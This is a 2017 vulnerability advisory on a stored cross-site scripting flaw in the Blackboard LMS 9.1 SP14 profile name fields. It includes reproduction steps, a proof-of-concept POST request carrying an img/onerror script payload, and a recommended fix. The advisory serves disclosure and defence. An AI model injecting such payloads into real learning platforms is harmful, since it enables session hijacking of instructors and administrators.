194 lines
No EOL
9.6 KiB
Text
194 lines
No EOL
9.6 KiB
Text
Document Title:
|
|
===============
|
|
Blackboard LMS 9.1 SP14 - (Profile) Persistent Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
http://www.vulnerability-lab.com/get_content.php?id=1900
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2017-01-09
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
1900
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
4.2
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Blackboard Learn (previously the Blackboard Learning Management System), is a virtual learning environment and course management system
|
|
developed by Blackboard Inc. It is Web-based server software which features course management, customizable open architecture, and scalable
|
|
design that allows integration with student information systems and authentication protocols. It may be installed on local servers or hosted
|
|
by Blackboard ASP Solutions. Its main purposes are to add online elements to courses traditionally delivered face-to-face and to develop
|
|
completely online courses with few or no face-to-face meetings.
|
|
|
|
(Copy of the Homepage: http://www.blackboard.com/learning-management-system/blackboard-learn.aspx )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered an application-side input validation vulnerability in the official Blackboard LMS 9.1 SP14.
|
|
|
|
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2017-01-09: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
BlackBoard Inc.
|
|
Product: Blackboard LMS - Content Management System 9.1 SP 14
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
A persistent cross site scripting web vulnerability has been discovered in Blackboard LMS official web-application.
|
|
|
|
Remote attackers are able to inject malicious code into profile information module, the vulnerability is located in
|
|
the first name,last name of user profile, the vulnerable fields in the module (userVO.firstName & userVO.lastName).
|
|
|
|
The issue allows an attacker to inject own malicious java script codes to the vulnerable modules context. The execution
|
|
of the vulnerability occurs in Blackboard LMS main panel & user management module. Due to our investigation we discovered
|
|
that users with low privileged access are able to to inject their own java code to compromise other moderator or admin
|
|
session credentials. The request method to inject is POST and the attack vector of the issue is persistent. The execute
|
|
occurs each time an account visits the profile page of the attacking user account.
|
|
|
|
The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2
|
|
Exploitation of the web vulnerability requires a low privileged user account with restricted access and low user interaction.
|
|
Successful exploitation of the vulnerability results in persistent phishing mails, session hijacking, persistent external
|
|
redirect to malicious sources and application-side manipulation of affected or connected module context.
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
Manual steps to reproduce the vulnerability ...
|
|
1. User register in the blackboard LMS course as student .
|
|
2. User goes to profile information section and inject the code persistent payload > into the firstname or lastname input fields
|
|
Note: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
|
|
3. User submits data and saves it via POST method request with out secure parse by the web validation
|
|
4. The execution of vulnerability occurs in the user management:
|
|
https://b-lms.localhost:8000/webapps/Bb-sites-enrollment-manager-BBLEARN/enrollmentManager.form?course_id=_431252_1
|
|
5. Successfully reproduce the application-side web validation vulnerability!
|
|
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
POST /webapps/Bb-sites-user-profile-BBLEARN/profile.form HTTP/1.1
|
|
Host: b-lms.localhost:8000
|
|
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Referer: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
|
|
Cookie: JSESSIONID=285EAF6ED95FF4574CADF4FF90F218B1; __utma=154552106.1787260759.1470597563.1470597563.1470652392.2;
|
|
__utmz=154552106.1470597563.1.1.utmcsr=vulnlab.coursesites.com|utmccn=(referral)|utmcmd=referral|utmcct=/; COOKIE_CONSENT_ACCEPTED=true;
|
|
NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d159545525d5f4f58455e445a4a42378b; session_id=153E1080C32EF7E9393910EC45598887;
|
|
s_session_id=FCCF148598E6531BC4167D5C3B8A2949; JSESSIONID=C866524B3CA437DF8E0AC184746DBD36; __utmb=154552106.26.9.1470653164713; __utmc=154552106; __utmt=1
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 605
|
|
userVO.firstName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.lastName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.user.educationLevel=
|
|
Not+Disclosed&userVO.user.gender=Not+Disclosed&birthDate_datetime=&pickdate=&pickname=&birthDate_date=&userVO.user.studentId=&userType=HE_STUDENT
|
|
&userVO.user.emailAddress=sec%40secteach.me&userVO.user.street1=&userVO.user.city=&userVO.user.state=&userVO.user.zipCode=&userVO.user.country=AF
|
|
&userVO.user.mobilePhone=&userVO.user.homePhone1=&userVO.user.webPage=&userVO.userProfile.institutionGuid=User_Instr_2015-02-22_19%3A31%3A21.304
|
|
&userVO.user.jobTitle=&userVO.user.department=&top_Submit=Submit
|
|
-
|
|
RESPONSE
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 08 Aug 2016 11:06:31 GMT
|
|
Server: Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/1.0.1g mod_jk/1.2.37
|
|
X-Blackboard-appserver: fgprd-106969-156642-app006.mhint
|
|
P3P: CP="CAO PSA OUR"
|
|
X-Blackboard-product: Blackboard Learn ™ 9.1.140152.0
|
|
Set-Cookie: session_id=153E1080C32EF7E9393910EC45598887; Path=/; HttpOnly
|
|
Set-Cookie: s_session_id=FCCF148598E6531BC4167D5C3B8A2949; Path=/; Secure; HttpOnly
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, no-store
|
|
Expires: Thu, 01 Jan 1970 00:00:00 GMT
|
|
Last-Modified: Fri, 18 Jul 2014 19:02:32 GMT
|
|
Content-Language: en-US
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Transfer-Encoding: chunked
|
|
Content-Type: text/html;charset=UTF-8
|
|
|
|
|
|
Reference(s):
|
|
https://b-lms.localhost:8000/
|
|
https://b-lms.localhost:8000/webapps/
|
|
https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/
|
|
https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
The vulnerability can be patched by a secure parse or encode of the vulnerable firstname and lastname input fields.
|
|
Disallow the usage of special chars and filter the entries by an escape. Parse the output context in the profile.form to
|
|
prevent application-side executions.
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the application-side input validation vulnerabilities in the user profile section is estimated as medium. (CVSS 4.2)
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability Lab [Research Team] - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
|
|
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
|
|
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
|
|
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
|
|
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
|
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
|
|
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
|
|
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
|
|
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
|
|
|
|
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
|
SERVICE: www.vulnerability-lab.com |